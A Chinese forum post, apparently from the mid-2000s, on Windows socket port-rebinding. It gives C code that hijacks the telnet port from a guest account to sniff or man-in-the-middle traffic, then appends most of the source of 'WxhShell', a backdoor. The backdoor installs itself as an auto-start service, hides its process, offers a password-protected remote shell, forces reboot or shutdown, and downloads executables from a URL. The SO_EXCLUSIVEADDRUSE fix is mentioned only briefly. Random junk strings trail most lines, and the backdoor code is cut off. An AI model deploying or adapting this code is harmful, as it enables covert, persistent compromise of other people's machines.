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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (0W)Jd[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e"@Ag:r@a  
xP61^*-2  
  saddr.sin_family = AF_INET; $ 9%UAqk9  
@cC@(M~Ru  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9H6%\#rw  
6hX[5?}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {/E_l  
CqkY_z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @7j$$  
3 J!J#  
  这意味着什么?意味着可以进行如下的攻击: KdTDBC  
t<DZW#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (- QvlpZ  
31> $;"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \lBY4j+;  
]XS[\qo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  3 UX/  
4?2$~\ x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }3DZ`8u  
abgA Ug)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =)Z~ w`  
$[1J[eY*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s-"oT=  
(l ]_0-Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zS<idy F`  
px>g  
  #include #x|IEjoa  
  #include 7~2c"WE  
  #include E-?@9!2 &  
  #include    ~qu}<u)P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /ho7O/aAa  
  int main() ;T,`m^@zf  
  { A/A; '9  
  WORD wVersionRequested; +{dJGPoY]p  
  DWORD ret; T_NN.Ol   
  WSADATA wsaData; qvN`46c  
  BOOL val; _>=QZ`!r  
  SOCKADDR_IN saddr; 'U/X<LCl  
  SOCKADDR_IN scaddr; 'irHpN6n  
  int err; nKu)j3o`  
  SOCKET s; Vu1swq)l  
  SOCKET sc; :)g}x&A^$  
  int caddsize; ,GTIpPj  
  HANDLE mt; mDX UF~G[  
  DWORD tid;   3Q\k!$zq  
  wVersionRequested = MAKEWORD( 2, 2 ); *Al`QEW  
  err = WSAStartup( wVersionRequested, &wsaData ); Q@aDa8Z  
  if ( err != 0 ) { :|TQi9L$rj  
  printf("error!WSAStartup failed!\n"); \{K~x@`  
  return -1; ^9`S`Bhp  
  } 9tBE=L=  
  saddr.sin_family = AF_INET; (D~NW*,9  
   <Dq7^,}#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {wwkbc*  
e.l3xwt>$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t}x^*I$*  
  saddr.sin_port = htons(23); mVVL[z2+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sOb=+u$$9  
  { m(rd\3d  
  printf("error!socket failed!\n"); ^W*3S[-`g  
  return -1; trm-&e7q?;  
  } 'eDV-cB  
  val = TRUE; %RD%AliO}K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]7:*A7/!.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t=BXuFiu  
  { :9Mqwgk,;3  
  printf("error!setsockopt failed!\n"); -*AUCns#  
  return -1; }F=lG-x  
  } uz'MUT(68  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :vo#(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kB3@;z:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O&@pi-=o  
ay`A Gr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qx2M"uFJ  
  { R Y ";SfYb  
  ret=GetLastError(); 8;GuJP\  
  printf("error!bind failed!\n"); MG(qQ#;j/  
  return -1; cj@ar^=`K  
  } /&!4oBna  
  listen(s,2); 8h'*[-]70u  
  while(1) Q8?:L<A  
  { dSPye z  
  caddsize = sizeof(scaddr); Uf\,U8UB  
  //接受连接请求 \@F~4,VT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i/{`rv*K[  
  if(sc!=INVALID_SOCKET) nz_1Fu>g|  
  { >(BAIjF E\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :/~TV   
  if(mt==NULL) CEEAyip-c  
  { 6 H' W]T&  
  printf("Thread Creat Failed!\n"); :{'%I#k2  
  break; .X;D I<K  
  } Qoom[@$  
  } 6u [ B}%l  
  CloseHandle(mt); .g8db d  
  } r";;Fk#5  
  closesocket(s); y|2y! &o,!  
  WSACleanup(); @l %x;`E  
  return 0; y\@INA^  
  }   1T/ 72+R0  
  DWORD WINAPI ClientThread(LPVOID lpParam) r"bV{v  
  { ;q&2$Mb  
  SOCKET ss = (SOCKET)lpParam; kH">(f  
  SOCKET sc; -&QTy  
  unsigned char buf[4096]; pWOK~=t  
  SOCKADDR_IN saddr; ;:Q&Rf"@%  
  long num; =niT]xf  
  DWORD val; mT&?DZ9<  
  DWORD ret; 5"mH6%d :8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Un^3%=;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qi=v}bp&  
  saddr.sin_family = AF_INET; eYD-8*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6O| rI>D  
  saddr.sin_port = htons(23); Y"UB\_=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HMl M!Xk?  
  { D V=xqC6}  
  printf("error!socket failed!\n"); nk.j7tu  
  return -1; FfpP<(4  
  } eiJ~1H X)  
  val = 100; {jOV8SVL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GFfZ TA  
  { 3fd?xhWbN  
  ret = GetLastError(); 7;3;8Q FX  
  return -1; $9rQ w1#e  
  } J|.n bSE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qj1Fj  
  { 1dl(`=^X  
  ret = GetLastError(); aU?HIIA  
  return -1; &\L\n}i-  
  } Bh5z4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2f0qfF  
  { H J0Rcw%  
  printf("error!socket connect failed!\n"); a2SXg A  
  closesocket(sc); :]uz0s`>  
  closesocket(ss);  RI&V:1  
  return -1; K %.>o  
  } XkEE55#>|  
  while(1) jSdW?IH  
  { 3F?_{A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !~ fy".|x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6YF<GF{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nl+8C}=u  
  num = recv(ss,buf,4096,0); QQ\\:]iM  
  if(num>0) k<QZ_*x}G  
  send(sc,buf,num,0); f?W"^6Df  
  else if(num==0) 5KC Zg'h  
  break; l dw!G/  
  num = recv(sc,buf,4096,0); W,bu=2K6  
  if(num>0) bTc^ huP  
  send(ss,buf,num,0); @BoZZ  
  else if(num==0) $VnPs!a  
  break; qc"PTv0q  
  } >?|c>HGX  
  closesocket(ss); {VT**o  
  closesocket(sc); "] [u  
  return 0 ; i<-a-Z+^  
  } 4;V;8a\A  
NEW0dF&)  
qx";G  
========================================================== t-?#x   
w" ,ab j  
下边附上一个代码,,WXhSHELL 8T}Dn\f  
h )h%y)1  
========================================================== ra}t#Xt`  
Q=h37]U+  
#include "stdafx.h" Rgb&EnVW  
=i:,")W7=  
#include <stdio.h> {+jO/ZQu5  
#include <string.h> Q3rLCg,;  
#include <windows.h> }.N~jx0R  
#include <winsock2.h> c_Jcy   
#include <winsvc.h> 1{.5X8y1x  
#include <urlmon.h> i#:M2&twE  
<|1Khygv  
#pragma comment (lib, "Ws2_32.lib") L|Bjw3K&D  
#pragma comment (lib, "urlmon.lib") Z=9gok\  
r;@"s g  
#define MAX_USER   100 // 最大客户端连接数 FE3uNfQs|  
#define BUF_SOCK   200 // sock buffer EpB3s{B"  
#define KEY_BUFF   255 // 输入 buffer DA^!aJ6iF  
:Ny^-4-N  
#define REBOOT     0   // 重启 f6`W(OiE  
#define SHUTDOWN   1   // 关机 m ;{(U Z  
#Q$e%VJ(c1  
#define DEF_PORT   5000 // 监听端口 C=8IQl[^e  
`*y%[J,I#  
#define REG_LEN     16   // 注册表键长度 rAh|r}R  
#define SVC_LEN     80   // NT服务名长度 cQrXrij;!  
V>& 1;n  
// 从dll定义API 4P}d/w?'KL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _71&".A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `Ln1g@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p Cgm!t?/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "GX k;Y  
UL]zuW/  
// wxhshell配置信息 hq?F8 1  
struct WSCFG {  3 EOuJ  
  int ws_port;         // 监听端口 _*-b0}T   
  char ws_passstr[REG_LEN]; // 口令 EAV6qW\r5]  
  int ws_autoins;       // 安装标记, 1=yes 0=no OlX#1W]  
  char ws_regname[REG_LEN]; // 注册表键名 ta0;:o?/d  
  char ws_svcname[REG_LEN]; // 服务名 S2:G#%EAa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aj]pN,g@N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  GjyTM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m'WGK`WIm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5h6-aQU[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xtK}XEhG!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NL&![;  
'#lc?Y(pJ2  
}; zI CAV -&  
th}&|Y)T2  
// default Wxhshell configuration jJAr #|  
struct WSCFG wscfg={DEF_PORT, {EJ+   
    "xuhuanlingzhe", IwR=@Ne8  
    1, dQ Lo,S8(  
    "Wxhshell", \_MWZRMc5  
    "Wxhshell", Y8for'  
            "WxhShell Service", BiA^]h/|  
    "Wrsky Windows CmdShell Service", r o8C^d]  
    "Please Input Your Password: ", c=aVYQ"2  
  1, rge s`&0  
  "http://www.wrsky.com/wxhshell.exe", _ME?o  
  "Wxhshell.exe" ]CX^!n  
    }; 83F]d+n  
u. 2^t :A  
// 消息定义模块 h<i.Z7F;tj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2=$ F*B>9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )h1 `?q:5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (zw.?ADPCT  
char *msg_ws_ext="\n\rExit."; tR(L>ZG{  
char *msg_ws_end="\n\rQuit."; |WSm puf  
char *msg_ws_boot="\n\rReboot..."; ~*L@|?  
char *msg_ws_poff="\n\rShutdown..."; l"%WXi"X  
char *msg_ws_down="\n\rSave to "; 99~ZZG  
QB*n [(?  
char *msg_ws_err="\n\rErr!"; U["IXR#  
char *msg_ws_ok="\n\rOK!"; j.:f =`xf  
64D4*GQ  
char ExeFile[MAX_PATH]; {6iHUK   
int nUser = 0; n1)].`  
HANDLE handles[MAX_USER]; 0>:`|IGnT2  
int OsIsNt; NN~PWy1opa  
4MRN{W6  
SERVICE_STATUS       serviceStatus; 0OBwe6*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RQ,X0 pS  
qWJa p-hb  
// 函数声明 {'cdi`  
int Install(void); sI@kS ^  
int Uninstall(void); j6Au<P  
int DownloadFile(char *sURL, SOCKET wsh); PMe3Or@  
int Boot(int flag); *}Rd%'  
void HideProc(void); Ox6^=D "  
int GetOsVer(void); i}>} %l|  
int Wxhshell(SOCKET wsl); 8KWhXF  
void TalkWithClient(void *cs); Ca0t}`<S  
int CmdShell(SOCKET sock); `tm(3pJ  
int StartFromService(void); xI8v'[3  
int StartWxhshell(LPSTR lpCmdLine); F8B:P7I  
F2v9 XMi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x)T07,3:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s "l ^v5  
-;$jo-  
// 数据结构和表定义 sVP2$?  
SERVICE_TABLE_ENTRY DispatchTable[] = M B,Z4 ^  
{ IXsOTBM  
{wscfg.ws_svcname, NTServiceMain}, h|ja67VG  
{NULL, NULL} EiWd =jDm  
}; r8!M8Sc  
)`zfDio-1V  
// 自我安装 XNkQ0o0  
int Install(void) I# |ib  
{ #b{;)C fL  
  char svExeFile[MAX_PATH]; /7C %m:  
  HKEY key; qGie~S ##  
  strcpy(svExeFile,ExeFile); 2^&5D,}0  
G[!<mh4h|  
// 如果是win9x系统,修改注册表设为自启动 k)JwCt.%  
if(!OsIsNt) { T\L LOx\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *JVJKqed  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PSa"u5O  
  RegCloseKey(key); V,:~FufM^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9R4q^tGR\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Fr9_!f  
  RegCloseKey(key); m`/!7wQs  
  return 0; @fSqGsSk  
    } uB 35CRd  
  } k!m9 l1x  
} cin3)lm  
else { V$ac}A,!  
~kPZh1n`  
// 如果是NT以上系统,安装为系统服务 `d:cq.OO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a5%IjgQ&z  
if (schSCManager!=0) (+0yZ7AZ  
{ wGnFDkCNz  
  SC_HANDLE schService = CreateService u/L\e.4  
  ( Cg&cz]*q|  
  schSCManager, WhR'MkfL  
  wscfg.ws_svcname, AN-;*n<'  
  wscfg.ws_svcdisp, @KC;"u'C  
  SERVICE_ALL_ACCESS, R8R,!3 N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pJ]i)$M  
  SERVICE_AUTO_START, 3UQ~U 8  
  SERVICE_ERROR_NORMAL, Fv9n>%W&  
  svExeFile, PQ[x A*  
  NULL, G G[$-  
  NULL, MM4Eq>F/  
  NULL, =k22f`8ew  
  NULL, 8VZLwhj  
  NULL fHwr6"DJ  
  ); \}mn"y  
  if (schService!=0) #me'1/z  
  { P[C03a!lXg  
  CloseServiceHandle(schService); a]_eSU@  
  CloseServiceHandle(schSCManager); 5*7 \Yjk?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qct:xviH<|  
  strcat(svExeFile,wscfg.ws_svcname); *1 l"|=_&s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BA|*V[HBE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `1"Xj ^ YM  
  RegCloseKey(key); h^"OC$  
  return 0; ?BnjtefIe  
    } :0B' b  
  } j#E&u*IR  
  CloseServiceHandle(schSCManager); |\ 4cQ  
} %1VfTr5  
} W02swhS  
4PAuEM/z  
return 1; 0^rDf L  
} ar| !iU  
>0qe*4n|M  
// 自我卸载 xu7Q^F#u  
int Uninstall(void) 5 MD=o7O^  
{ C!}9[X!7@:  
  HKEY key; ygquQhf5  
p/!P kKJ  
if(!OsIsNt) { wsLfp82  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <:UP  
  RegDeleteValue(key,wscfg.ws_regname); w*"h#^1z  
  RegCloseKey(key); Bys_8x}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $q~:%pQv  
  RegDeleteValue(key,wscfg.ws_regname); G;3N"az  
  RegCloseKey(key); CA{(x(W\:  
  return 0; nJ-U*yz  
  } +Qe&#"O0  
} VDP \E<3"  
} sAz]8(Fi0  
else { V,CVMbn/%N  
Fb{kql=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +Tw]u`  
if (schSCManager!=0) &.}Z j*BD  
{ !Yan}{A,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1v^eXvY  
  if (schService!=0) VU[4 W8f  
  { + (|6Wv  
  if(DeleteService(schService)!=0) { 9(;I+.;8k  
  CloseServiceHandle(schService); c _v;"QZ  
  CloseServiceHandle(schSCManager);  e ):rr*  
  return 0; *U=%W4?W  
  } psZAO,p  
  CloseServiceHandle(schService); "2'pS<|  
  } (;@\gRL  
  CloseServiceHandle(schSCManager); ]wQ#8}zO  
} h^}r$k_n  
} |NZVm}T  
"me a*-XB  
return 1; tM$w0Cj  
} (7qdrAeP  
#K3`$^0 s  
// 从指定url下载文件 >$yqx1=jW  
int DownloadFile(char *sURL, SOCKET wsh) DVWqrK}q  
{ *l[;g  
  HRESULT hr; _V`Gmy[]p  
char seps[]= "/"; RvPC7,vh  
char *token; }H4Z726  
char *file; Rn-RMD{dh  
char myURL[MAX_PATH]; LT3ViCZ-n  
char myFILE[MAX_PATH]; dlx "L%  
[*k25N  
strcpy(myURL,sURL); Iw<: k  
  token=strtok(myURL,seps); dk^Uf84.Gr  
  while(token!=NULL) kCu"G  
  { ~X`_ g/5X  
    file=token; };:+0k/  
  token=strtok(NULL,seps); MZ{gU>K+  
  } 18AKM  
pUz;e#J|  
GetCurrentDirectory(MAX_PATH,myFILE); RnX:T)+o  
strcat(myFILE, "\\"); f/Lyc=- ]  
strcat(myFILE, file); mXH\z  
  send(wsh,myFILE,strlen(myFILE),0); q)ns ui(  
send(wsh,"...",3,0); jd]YKaI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x]Nk T  
  if(hr==S_OK) |aT&rpt   
return 0; A80r@)i  
else ; SS/bS|  
return 1; #0WGSIht<  
Jmp%%^  
} /*+P}__k  
_U"9#<  
// 系统电源模块 Whd2mKwiO  
int Boot(int flag) H7 xyK  
{ $#k8xb  
  HANDLE hToken; ]d}U68$T+  
  TOKEN_PRIVILEGES tkp; QyGTm"9l  
GYX/G>-r  
  if(OsIsNt) { mct$.{~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oA ;sP'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O{^ET:K@  
    tkp.PrivilegeCount = 1; k-$5H~(PZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1FCHqqZ=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /7nircXj@  
if(flag==REBOOT) { \=O['#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y'YvVI  
  return 0; DRn]>IFU  
} <R TAO2  
else { @nuMl5C-`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PE IUKlX  
  return 0; ya<nD'%9  
} z)RJUmY3B  
  } JFyw,p&xB  
  else { +ti_?gfx  
if(flag==REBOOT) { }W:Rg}v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H+oQ L(i|_  
  return 0; t4RI%m\  
} &.zG?e.  
else { 't+ J7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V6:S<A  
  return 0; `FjU2 O  
} J 8z|ua  
} "h-G=vo,kl  
<}@*i  
return 1; XA&Vtgu  
} oV)#s!  
DHUK_#!  
// win9x进程隐藏模块 , : I:F  
void HideProc(void) vqC!Ajm  
{ U.fL uKt  
5 (Lw-_y#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _</>`P[  
  if ( hKernel != NULL ) *kmD/J  
  { \i*QKV<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H+ P&} 3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VO (KQx  
    FreeLibrary(hKernel); XB8g5AxR  
  } >9Yo:b:f  
EpX.{B@B_[  
return; ju jhK'\  
} 4=G)j+RCH  
78=a^gRB  
// 获取操作系统版本 H{}Nr 4  
int GetOsVer(void) 9; \a|8O  
{ #%~PNki  
  OSVERSIONINFO winfo; (R.l{(A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o =oXL2}  
  GetVersionEx(&winfo); S,ENbP%0r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |XDbf3^6  
  return 1; ;;^OKrzWW  
  else >TB"Ez09  
  return 0; G`/5=  
} kB2]Z}   
P}2i[m.*,  
// 客户端句柄模块 F9Hxqa#1T  
int Wxhshell(SOCKET wsl) St1Ny,$yU  
{ w$XqxI/&  
  SOCKET wsh; >@g+%K]  
  struct sockaddr_in client; HX;JO[0  
  DWORD myID; 9!``~]G2  
_~l*p"PL<  
  while(nUser<MAX_USER) ;p/%)WW  
{ $s2Y,0>I6  
  int nSize=sizeof(client); UA BaS(f3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0eGz|J*7  
  if(wsh==INVALID_SOCKET) return 1; wM-I*<L>  
IL]Js W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #j+0jFu  
if(handles[nUser]==0) qZV.~F+  
  closesocket(wsh); 0^0Q0A  
else U#qs^f7R  
  nUser++; TrYt(F{t  
  } 0r=KY@D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]O^C'GzZ  
L[D<e?j  
  return 0; wWI1%#__|o  
} kH.W17D~  
Vr<eU>W  
// 关闭 socket !kTI@103Wd  
void CloseIt(SOCKET wsh) )K.'sX{B  
{ 8]`LRzM  
closesocket(wsh); ?2q;`Nb  
nUser--; PnUYL.v  
ExitThread(0); !_No\O  
} aqw;T\GI+~  
 )S8fFV  
// 客户端请求句柄 l_ES $%d  
void TalkWithClient(void *cs) 1ti9FQ  
{ e5GJ:2sH  
<o aVI?  
  SOCKET wsh=(SOCKET)cs; Vx~N`|yY  
  char pwd[SVC_LEN]; # :)yh]MP  
  char cmd[KEY_BUFF]; V-7A80!5  
char chr[1]; RBA{!  
int i,j;  CJ~gE"  
URo#0fV4C  
  while (nUser < MAX_USER) { yP~O C|Z  
;X z fd  
if(wscfg.ws_passstr) { U2DE zr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,S%DHT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !eC]=PoY  
  //ZeroMemory(pwd,KEY_BUFF); +kj d;u#  
      i=0; ?a]1$>r  
  while(i<SVC_LEN) { OgOs9=cE{  
q83!PI  
  // 设置超时 Y) ig:m]#  
  fd_set FdRead; ~ Pm[Ud  
  struct timeval TimeOut; KE_GC ;bQ  
  FD_ZERO(&FdRead); -Wt (t2  
  FD_SET(wsh,&FdRead); ?xT ^9  
  TimeOut.tv_sec=8; C)RJjaOr  
  TimeOut.tv_usec=0; >T)#KQ1t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ol7^T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TwT@_~ IM  
<y!(X"n`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .szc-r{  
  pwd=chr[0]; skeXsls  
  if(chr[0]==0xd || chr[0]==0xa) { H!81Pq~  
  pwd=0; V49[XX  
  break; p(8[n^~,i  
  } "%?$BoJR0  
  i++; FRR`<do5$,  
    } /hC'-6:]^  
N+#lS7  
  // 如果是非法用户,关闭 socket B=;p wX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7xlarns   
} v6#i>n~x,  
qJyGr ?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "?f_U/+D<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jg3 X6/'  
1oSU>I_i  
while(1) { VS\+"TPuH  
l.Yq4qW  
  ZeroMemory(cmd,KEY_BUFF); C"[d bh!  
]T<\d-!CZN  
      // 自动支持客户端 telnet标准   Q\qI+F2?  
  j=0; {*NM~yQ  
  while(j<KEY_BUFF) { U~l.%mui  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b&_u+g  
  cmd[j]=chr[0]; -nL!#R{e  
  if(chr[0]==0xa || chr[0]==0xd) { Dx*tolF  
  cmd[j]=0; !=B=1th4  
  break; S4!}7NOh  
  } tT`{xM  
  j++; D3 .$Vl,.  
    } G1?m}{D)  
Mf_urbp]  
  // 下载文件 *vS)aRK  
  if(strstr(cmd,"http://")) { Tsc2;I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5@/hqOiu  
  if(DownloadFile(cmd,wsh)) 6qYK"^+xu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QZ?%xN(4  
  else EA=EcUf'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pgh)+>ON  
  } kWm[Lt  
  else { |-zefzD|  
{@*l,[,5-  
    switch(cmd[0]) { tg#d.(  
  '6zk> rN  
  // 帮助 9'I$8Su  
  case '?': { RkTO5XO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M WHzrqCA  
    break; 7c>{og6  
  } FrL ;1zt  
  // 安装 #_9Jam%M  
  case 'i': { 9X ^D(  
    if(Install()) I;rh(FMV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NB)$l2<d  
    else {K ,-fbE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *T:gx:Sg/  
    break; -_p@I+B  
    } = t!$72g\  
  // 卸载 +T*]!9%<`:  
  case 'r': { ^Sj*  
    if(Uninstall()) $-l\&V++F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &l;wb.%ijW  
    else Bm:N@wg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'M=c-{f~  
    break; skzTw66W.  
    } M?I^Od'8  
  // 显示 wxhshell 所在路径 96 P3B}Dk  
  case 'p': { ;: 4PT~\*  
    char svExeFile[MAX_PATH]; Z0!yTM/C  
    strcpy(svExeFile,"\n\r"); $geDB~ 2>  
      strcat(svExeFile,ExeFile); Q~#[_Upkc  
        send(wsh,svExeFile,strlen(svExeFile),0); wU(N<9  
    break; je`w$ ^w  
    } &br_opNi  
  // 重启 r6 :c<p[c  
  case 'b': { n\'@]qG)Z4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c3X8Wi7m  
    if(Boot(REBOOT)) csCi0'u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .~jn N  
    else { p5?8E$VHV  
    closesocket(wsh); /}&@1  
    ExitThread(0); s3+6Z~g'B  
    } =!P  
    break; fF.qQTy;7  
    } oaMh5 FPy  
  // 关机 kXY p.IVA  
  case 'd': { l>{+X )  
